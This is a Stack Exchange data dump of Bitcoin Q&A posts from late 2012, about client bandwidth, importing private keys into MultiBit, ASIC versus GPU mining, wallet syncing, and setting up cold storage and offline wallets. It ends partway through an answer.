  <row Id="5321" PostTypeId="1" AcceptedAnswerId="5322" CreationDate="2012-11-11T06:07:03.897" Score="1" ViewCount="439" Body="&lt;p&gt;I am asking it because I'd like to install the client in my work office. Is that safe? I know the first time it take a long time downloading about 2 GB or more, but what is the daily normal activity?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2012-11-11T06:27:25.677" Title="What is the average bandwidth used by the default client?" Tags="|client|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5322" PostTypeId="2" ParentId="5321" CreationDate="2012-11-11T06:27:25.677" Score="1" Body="&lt;p&gt;100 MB per day, or less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i.e., a dial-up modem could handle it.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-11T06:27:25.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5324" PostTypeId="1" CreationDate="2012-11-11T16:41:32.650" Score="23" ViewCount="36444" Body="&lt;p&gt;Question says it. I spent 20 mins Googling. Saw several links on bitcointalk.com but amazingly found no solution to this. Am I the first one trying to do this? &#xA;Note the following are &lt;strong&gt;not&lt;/strong&gt; the solutions I am looking for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transfer the BTC from Bitcoin-qt to Multibit by making a transaction&lt;/li&gt;&#xA;&lt;li&gt;Some commandline geeky stuff&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2016-04-14T15:46:34.720" Title="How do I import private keys from Bitcoin-qt to Multibit client?" Tags="|bitcoin-core|import|multibit|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5325" PostTypeId="2" ParentId="5324" CreationDate="2012-11-11T17:28:52.977" Score="3" Body="&lt;p&gt;It does not answer your question of getting your private keys out of bitcoin-qt, but this link explains how you import a single private key into MultiBit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://multibit.org/help_importASingleKey.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://multibit.org/help_importASingleKey.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have more than one private key it is simply more rows in the import file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The date alongside each key is a bit non-obvious. It has to be before the date of the first transaction using that key so that the blocks with the transactions in can be found. I recommend just finding the first transaction in your wallet and putting the date one day before it in on every row. (Using a day earlier avoids any time zone problems).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the import only knows about the sipa format private keys (the ones beginning with a 5). It does not understand compressed keys. ( &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3059/what-is-a-compressed-bitcoin-key&quot;&gt;What is a compressed Bitcoin key?&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-11-11T17:28:52.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5326" PostTypeId="2" ParentId="5297" CreationDate="2012-11-11T18:52:58.303" Score="1" Body="&lt;p&gt;You should merge your page with &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Newbie_Guide&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin_Newbie_Guide&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_noob_version&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_noob_version&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-11-11T18:52:58.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5327" PostTypeId="1" CreationDate="2012-11-12T09:23:29.683" Score="4" ViewCount="2791" Body="&lt;p&gt;Please explain in detail, or provide an an estimate, at least.&lt;/p&gt;&#xA;" OwnerUserId="2208" LastEditorUserId="5406" LastEditDate="2016-04-17T19:07:03.283" LastActivityDate="2019-02-12T17:06:27.817" Title="When will FPGAs and ASICs 'replace' GPUs for mining?" Tags="|mining-hardware|asic|gpu|fpga|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5328" PostTypeId="2" ParentId="5324" CreationDate="2012-11-12T09:33:56.943" Score="8" Body="&lt;p&gt;Here is one way to do it without the &quot;command line geeky stuff&quot;. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visit &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot;&gt;https://blockchain.info/wallet/import-wallet&lt;/a&gt;. Drag the Bitcoin-Qt wallet.dat file into the dotted area. Follow the instructions.&lt;/li&gt;&#xA;&lt;li&gt;Login to the new wallet. Under the Backup heading click download.&lt;/li&gt;&#xA;&lt;li&gt;Open multibit choose Tools -&gt; Import Private Keys. Now import the wallet.aes.json file just downloaded.&lt;/li&gt;&#xA;&lt;li&gt;Delete the keys from the blockchain.info wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However since the goal isn't to setup a blockchain.info wallet you would be much better off using pywallet &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt; to dump the wallet and the keys directly.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-11-12T09:33:56.943" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5329" PostTypeId="2" ParentId="5327" CreationDate="2012-11-12T13:02:25.863" Score="1" Body="&lt;p&gt;Within months of the arrival of the first ASICs, we should see the mining difficulty rise so high that GPU mining is completely irrelevant. ASICs are up to 100s of times more power efficient, if you believe the numbers circulating around the forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why months? It will take time for the first units to be shipped, installed, and to begin mining. But I know that several groups have invested heavily in up front purchases of ASIC miners, so the ramp ought to be steep.&lt;/p&gt;&#xA;" OwnerUserId="2209" LastActivityDate="2012-11-12T13:02:25.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5331" PostTypeId="2" ParentId="5297" CreationDate="2012-11-12T21:42:19.670" Score="0" Body="&lt;p&gt;I'm cautiously replying to this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did write a book in this space, called Bitcoin Step by Step.  You can pick it up on Kindle.  &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00A1CUQQU&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Bitcoin-Step-by-ebook/dp/B00A1CUQQU/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to very carefully choose where I mention this.  I don't want to break the rules of the site, but I do think this is relevant to this question.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-12T21:42:19.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5332" PostTypeId="2" ParentId="5327" CreationDate="2012-11-12T21:50:35.140" Score="3" Body="&lt;p&gt;Currently the hash rate is around 25 TH/sec.  It is expected that when the ASIC hit the market in Dec 2012, the new hash rate will be about 250 TH/sec.  The difficulty is directly proportional to the hash rate, so it should also increase 10x.  This would reduce the profitability of existing GPU miners by 10x.  Plus about the same time the block reward will be halved from 50 BTC to 25 BTC, again halving the profitability.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expectation is that once ASIC takes hold most of the GPU and FPGA mining will bleed out of the network.  You should expect to see an initial influx of ASIC and then a steady growth as mininers reach for their larger share of the market.  &lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-12T21:50:35.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5333" PostTypeId="2" ParentId="5275" CreationDate="2012-11-12T21:56:45.983" Score="3" Body="&lt;p&gt;The short anwser is that miners will rely on transaction fees, to get paid.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-12T21:56:45.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5334" PostTypeId="2" ParentId="5327" CreationDate="2012-11-13T00:09:50.467" Score="0" Body="&lt;p&gt;At the current exchange rate, GPU mining can still be profitable if electricity is below twenty cents per kWh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In less than three weeks, the daily mining revenues will drop by half in an instant (the block reward subsidy &quot;halving&quot; event, around November 29th).  Difficulty may drop also as many GPU miners quit, but not much.  So the breakeven for electricity will probably be about ten cents per kWh.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a GPU miner and pay more than seven cents per kWh, continuing to mine will either be a waste of time (not profitable) or money-losing (if you pay above ten cents per kWh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, ASICs will push the breakeven for GPUs down further ...  to where the few people paying three cents per kWh can't even mine on GPUs profitably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since we don't know the future exchange rate and ASIC shipping dates and quantities, none of this is more than just being general educated guesses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The halving event's magnitude (50 to 25) and time (around Nov 29th, 2012) is known.  That will eliminate a bunch of miners. Then for those still standing watch for when you start seeing ASICs shipped in volume.  Just know that is the point at which GPUs are then just a couple weeks, at most, from being obsoleted (unless you pay zero for electricity, but even then it is just a matter of time before you power them down for good).&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2012-11-13T00:09:50.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5335" PostTypeId="1" CreationDate="2012-11-13T01:16:47.530" Score="2" ViewCount="569" Body="&lt;p&gt;Just started using Bitcoin today and since I needed them rather urgently, I hastily bought them and transferred them to my wallet before actually setting up my wallet. The client is downloading the blockchain but it’s taking painfully long… 3 hours and counting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was just wondering if I downloaded the blockchain from sourceforge without replacing the &lt;code&gt;wallet.dat&lt;/code&gt; file will I get the coins I bought and transferred to said wallet?&lt;/p&gt;&#xA;" OwnerUserId="2213" LastEditorUserId="5406" LastEditDate="2015-12-24T11:15:14.937" LastActivityDate="2015-12-24T11:15:14.937" Title="Is wallet.dat linked to the blockchain file?" Tags="|synchronization|wallet.dat|" AnswerCount="2" CommentCount="0" ClosedDate="2015-12-24T11:18:18.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="5336" PostTypeId="2" ParentId="5335" CreationDate="2012-11-13T07:24:46.067" Score="2" Body="&lt;p&gt;From what I know, yes. The wallet and the blockchain data exist independently from one another. The wallet file keeps track of all transactions relevant to itself that appeared in the blockchain, as well as information about the latest block it has seen. If you use an old wallet on a newer blockchain, the client should scan any blocks that came after the waller's last synchronisation and update the information accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need Bitcoins urgently, you might want to use an eWallet until your client synchronises. Those are ready to run in seconds.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-11-13T07:24:46.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5337" PostTypeId="1" AcceptedAnswerId="5416" CreationDate="2012-11-13T08:20:39.020" Score="6" ViewCount="2419" Body="&lt;p&gt;I am interested in sending a transaction directly to a miner or a pool for processing.  I have general familiarity with Bitcoin-QT.  What additional knowledge and steps must I have in order to send a transaction directly to a pool?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T08:45:40.563" LastActivityDate="2016-03-16T08:45:40.563" Title="How do I send a transaction directly to a miner or pool for processing?" Tags="|transactions|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5338" PostTypeId="1" AcceptedAnswerId="5340" CreationDate="2012-11-13T08:34:08.033" Score="0" ViewCount="277" Body="&lt;p&gt;Edit: This is a dumb question.  I was new to Bitcoin when I asked it.  Feel free to ignore or delete this Q:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Is it possible for a miner or mining pool to receive and not retransmit to peers information about a pending transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several &quot;normal&quot; transactions are transmitted P2P with a transaction fee ranging from zero to 0.20 BTC.  One client wants to have priority processing with a miner either because they have a special business agreement, are a frequent user, or pays a fee.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise the miner wants to have &quot;first dibs&quot; on high value transactions + fees, sometimes at the exclusion of other miners who aren't part of that &quot;fee collective&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for a miner to get &quot;first dibs&quot; access to a transaction, before the rest of the network sees the pending transaction?  How would this work, and can the current codebase support this?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-16T07:44:49.433" LastActivityDate="2016-03-16T07:44:49.433" Title="Can a Miner or Mining pool have exclusive access to a transaction and its fees?" Tags="|mining-pools|transaction-selection|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5339" PostTypeId="1" CreationDate="2012-11-13T08:44:53.017" Score="1" ViewCount="392" Body="&lt;p&gt;I'm interested in the most secure and reliable Namecoin DNS resolution as possible, although I admit I don't fully understand how these concepts relate to each other (Namecoin and DNS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is DNSSec needed or possible with Namecoin based DNS services?  Would that come at a higher &quot;cost&quot;  (more namecoins are needed?)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2017-03-21T06:58:32.200" Title="Is DNSSec needed / Possible with namecoin?" Tags="|security|namecoin|dns|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5340" PostTypeId="2" ParentId="5338" CreationDate="2012-11-13T09:56:52.027" Score="2" Body="&lt;p&gt;A non-standard client could choose to send his transactions only to a specific miner. One example might be for a client to negotiate a &quot;monthly package&quot; (off the blockchain), and then send all his tx directly to the pool, without any specific tx fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing in the protocol that prohibits or enables it - it is a possible extension that is outside of the protocol. To my knowledge, no such schemes have been reported in the real world.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-11-13T09:56:52.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5341" PostTypeId="1" AcceptedAnswerId="5343" CreationDate="2012-11-13T10:28:05.017" Score="5" ViewCount="530" Body="&lt;p&gt;I am building a web-app that needs to send money to different customer's addresses. I would like to minimize transaction costs and avoid unnecesary traffic, therefore I would like to pay all of them at the same time. &lt;strong&gt;How many different destinations can one single transaction have?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2012-11-13T12:06:59.610" Title="How many different destinations can a single transaction have?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5342" PostTypeId="2" ParentId="5335" CreationDate="2012-11-13T11:31:42.627" Score="2" Body="&lt;p&gt;You could be 24 to 48 hours away (or more even) from having the full blockchain operational.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fastest way to be able to spend your funds is to export the private key and import it in another client, such as Blockchain.info/wallet. With the Bitcoin.org client v0.7 or higher, you can get a console using the Debug window.  From the console you can perform the API commands to get the private key(s) for the transaction(s) with the funds enroute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another fast method is to use Blockchain.info/wallet's Desktop synch browser module which connects to your Bitcoin.org client and replicates all the keys from the wallet.dat into your Blockchain.info/wallet (and vice-versa).&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2012-11-13T11:31:42.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5343" PostTypeId="2" ParentId="5341" CreationDate="2012-11-13T12:06:59.610" Score="5" Body="&lt;p&gt;There isn't a maximum number of outputs but instead a maximum size of data in a block.  So if there was just one transaction with a lot of outputs, the combined size would need to be below the block maximum of 500K.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the size of each transaction but you are talking thousands or tens of thousands of outputs before hitting these per-block limits.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-11-13T12:06:59.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5344" PostTypeId="1" AcceptedAnswerId="35901" CreationDate="2012-11-13T21:31:07.347" Score="10" ViewCount="1515" Body="&lt;p&gt;Has there been any attempt to rewrite Bitcoin in Clojure? I know about &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;BitcoinJ&lt;/a&gt;, so I imagine that should be easy to port. But what about a &quot;pure&quot; version? Without calling Java directly? Easily portable to Scheme or other Lisps-style languages? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2015-02-04T19:37:07.680" Title="Has anyone ported the Bitcoin software to &quot;pure&quot; Clojure?" Tags="|client|port|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5345" PostTypeId="2" ParentId="421" CreationDate="2012-11-13T21:48:46.230" Score="2" Body="&lt;p&gt;This is an update, as of NOV-2012, since the answers are outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there any vulnerabilities right now?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not. But a new vulnerability could be created by mistake in future versions of the standard client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Were there any in the past?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, check &lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures&lt;/a&gt; and you will see that there has been many vulnerabilities fixed. Almost 50% of the nodes are still vulnerable to CVE-2012-4682 and CVE-2012-4683.&lt;/p&gt;&#xA;" OwnerUserId="638" LastActivityDate="2012-11-13T21:48:46.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5347" PostTypeId="1" CreationDate="2012-11-14T05:31:21.930" Score="9" ViewCount="774" Body="&lt;p&gt;I am looking at starting a business that will send and receive a large amount Bitcoins in a semi automated manner using API's. I was wondering what is the best way to do do this in a secure way to limit my exposure to hacking? My initial thoughts are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) Clearing Wallet:&lt;/strong&gt; have a clearing wallet that holds say 10% over my expected daily amount of bitcoins that will be used for sending and receiving bitcoins. Any time this wallet contains more than my 10% configured amount, a bot will move the excess bitcoins to another offline wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This wallet will be backed up on 3 USB drives using double encryption and be hosted at blockchain.info (two factor authentication will be used to access this wallet at blockchain.info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) Emergency Paper Wallet:&lt;/strong&gt; This is a paper wallet and will be used to hold an additional days worth of bitcoins. If for any reason I need to top up my Clearing Wallet this will be used and then discarded. (one time use only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) Cold Storage Wallet:&lt;/strong&gt; This is were the excess coins from my clearing wallet will be forwarded to and keep offline. This wallet will be created using a bootable USB/CD OS to ensure the machine it is created on is not compromised. This wallet will then be used to make a number of Emergency Paper wallets that will be used to top up the clearing wallet if funds are ever running low. (this wallet will only ever be accessed using a fresh bootable OS)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a good way of ensuring I have a low exposure to being hacked or is there a better way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="2216" LastEditorUserId="2216" LastEditDate="2012-11-14T05:59:08.697" LastActivityDate="2012-12-02T18:58:35.990" Title="Best way to safely host a high volume online transactional wallet?" Tags="|wallet|e-wallet|safety|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5350" PostTypeId="2" ParentId="2813" CreationDate="2012-11-14T17:23:07.150" Score="0" Body="&lt;p&gt;There has been some discussion on flaws on key generation entropy in standard Bitcoin client.&#xA;Check &lt;a href=&quot;https://bitcointalk.org/index.php?topic=113496.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=113496.0&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, RandAddSeedPerfmon() and RegQueryValueExA(HKEY_PERFORMANCE_DATA,..) calls done in Bitcoin source code can fail without the user getting notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The single only reliable source of entropy in the standard Bitcoin client is OpenSSL RAND_Screen(), function which is called on initialization of the rand pool.&lt;/p&gt;&#xA;" OwnerUserId="638" LastActivityDate="2012-11-14T17:23:07.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5351" PostTypeId="1" AcceptedAnswerId="5362" CreationDate="2012-11-14T19:08:58.610" Score="5" ViewCount="5095" Body="&lt;p&gt;I'm using a BFL single with the &lt;a href=&quot;http://bitminter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitMinter&lt;/a&gt; client and I never see my Mhps exceed 825 and it often goes down to 780 Mhps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be an explanation for this difference?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are the specs on BFL theoretical speed? &lt;/li&gt;&#xA;&lt;li&gt;Is the closed source BitMinter client stealing cycles?&lt;/li&gt;&#xA;&lt;li&gt;Is there a software or hardware inefficiency?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxVS3.png&quot; alt=&quot;BFL Single at 832mhps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ovl3j.png&quot; alt=&quot;BitMinter Client at 779 Mhps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, this chart from BitMinter says I'm running at 600 Mhps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4xMdu.png&quot; alt=&quot;This says I&amp;#39;m running at 600 Mhps&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-01-20T20:56:29.000" LastActivityDate="2016-01-20T20:56:29.000" Title="BFL Single averages 800 Mhps on BitMinter Client. Advertised rate is 832. What explains the difference?" Tags="|fpga|mining-hardware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5352" PostTypeId="2" ParentId="5351" CreationDate="2012-11-14T19:45:32.723" Score="3" Body="&lt;p&gt;Any MH/s rating on any device should be considered an estimate. Actual capabilities will vary on a device-by-device basis and external factors such as ambient temperature and network connection speed/stability also enter into the equation. You will also notice a difference between the hashrate as measured by your mining software and the hashrate as reported by your pool(s) since the pool is using the number of shares submitted to estimate your hashrate, which is different from the measurements taken by the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the actual number of hashes you compute will likely vary from device to device, time to time, season to season and minute to minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One serious note: It is also possible your unit is running to hot. If your unit is running too hot it could be throttling and you either need to  swap out your firmware for something slower or keep the unit cooler or you could do real damage to it.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-11-14T19:45:32.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5353" PostTypeId="1" CreationDate="2012-11-14T21:32:43.807" Score="9" ViewCount="28171" Body="&lt;p&gt;Why is my Bitcoin wallet always out of sync?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can cause this?&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="1405" LastEditDate="2014-07-04T13:16:54.653" LastActivityDate="2014-11-30T21:35:20.793" Title="Why is my Bitcoin wallet always out of sync?" Tags="|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5354" PostTypeId="2" ParentId="5347" CreationDate="2012-11-14T23:20:28.480" Score="3" Body="&lt;p&gt;It seems to be a good approach. The fundamental is keep a little bit &quot;hot&quot; to high liquidity and keep the rest into USB stickers + papers and if possible keep it safe in a vault or bank. Also, keep the anonymity and security of who has the access to the Bitcoins. Remember: Bitcoin is real money, and if you are working with a lot of money, it can be dangerous, someone can try to extort you to reveal all secret.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget too that USB stickers are volatile in long term by definition, and are not 100% safe. CD and DVD can scratch or can degrade over time. So, the paper is fundamental; keep it in a clean and dry place. Remember also to generate the wallet keys in a offline computer (installed from zero if possible). Read this article: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_set_up_a_secure_offline_savings_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to set up a secure offline savings wallet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSMTT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice article about it here: &lt;a href=&quot;http://blog.coinbase.com/post/33197656699/coinbase-now-storing-87-of-customer-funds-offline&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinbase now storing 87% of customer funds offline&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2012-12-02T18:58:35.990" LastActivityDate="2012-12-02T18:58:35.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5355" PostTypeId="1" AcceptedAnswerId="5358" CreationDate="2012-11-14T23:32:32.660" Score="3" ViewCount="465" Body="&lt;p&gt;I know that it can be a little paranoid yet, but anyone ever did an offline backup of blockchain in case of a kind of &lt;a href=&quot;http://en.wikipedia.org/wiki/Geomagnetic_storm&quot; rel=&quot;nofollow&quot;&gt;geomagnetic storm&lt;/a&gt;? Imagine if all clients of the world lost the data. I know the entire world will be a mess, but the Bitcoin could keep safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it isn't necessary (or even possible) to keep an offline copy of blockchain, but it could be in a hard disk isolated in a special hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Am I thinking something wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2012-11-15T00:30:41.797" Title="There is at least one totally &quot;offline&quot; backup of blockchain?" Tags="|backup|safety|coldstorage|wallet-recovery|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5356" PostTypeId="2" ParentId="2293" CreationDate="2012-11-14T23:45:23.687" Score="2" Body="&lt;p&gt;[Update: This exchange method is no longer available.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a website with the url of &lt;a href=&quot;http://www.iocoloradocentral.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.iocoloradocentral.com/&lt;/a&gt; has converted my paypal funds to bitcoins for quite a while now, i have always received the bitcoins :).&lt;/p&gt;&#xA;" OwnerUserId="2222" LastEditorUserId="153" LastEditDate="2013-04-13T04:56:55.837" LastActivityDate="2013-04-13T04:56:55.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5357" PostTypeId="2" ParentId="5158" CreationDate="2012-11-15T00:07:48.207" Score="1" Body="&lt;p&gt;I recently created a blog post about this: &lt;a href=&quot;https://bitinnovate.com/creating-an-offline-bitcoin-wallet/&quot; rel=&quot;nofollow&quot;&gt;https://bitinnovate.com/creating-an-offline-bitcoin-wallet/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Steps for creating an offline bitcoin wallet&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;    &lt;li&gt;Open the folder that contains your wallet.dat file&#xA;&lt;ul&gt;&#xA;    &lt;li&gt;&lt;strong&gt;For Windows users:&lt;/strong&gt; Go to Start -&amp;gt; Run (or press WinKey+R) and run this: %APPDATA%\Bitcoin&lt;/li&gt;&#xA;    &lt;li&gt;&lt;strong&gt;For Linux users&lt;/strong&gt;: By default you Bitcoin should be here: ~/.bitcoin/&lt;/li&gt;&#xA;    &lt;li&gt;&lt;strong&gt;For Mac users:&lt;/strong&gt; By default you Bitcoin should be here: ~/Library/Application Support/Bitcoin/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;    &lt;li&gt;Back up your wallet.dat file to a secure location&lt;/li&gt;&#xA;    &lt;li&gt;Move your origional wallet.dat file out of this directory&lt;/li&gt;&#xA;    &lt;li&gt;Start the Bitcoin client&lt;/li&gt;&#xA;    &lt;li&gt;The Bitcoin client will automatically create a new wallet.dat file and a new address&lt;/li&gt;&#xA;    &lt;li&gt;Copy the address and save it in notepad&lt;/li&gt;&#xA;    &lt;li&gt;Encrypt the wallet with a secure passphrase&lt;/li&gt;&#xA;    &lt;li&gt;Close the Bitcoin client&lt;/li&gt;&#xA;    &lt;li&gt;Go back to the Bitcoin folder&lt;/li&gt;&#xA;    &lt;li&gt;Move the new wallet.dat file out of this folder and store it somewhere safe. I suggest making multiple backups of this on multiple media types. I.e. CD, SD Card or a portable hard drive&lt;/li&gt;&#xA;    &lt;li&gt;Move your old wallet.dat file back into the Bitcoin directory&lt;/li&gt;&#xA;    &lt;li&gt;Run the Bitcoin client&lt;/li&gt;&#xA;    &lt;li&gt;You can now send bitcoins to the address you copied down and they will be securely stored 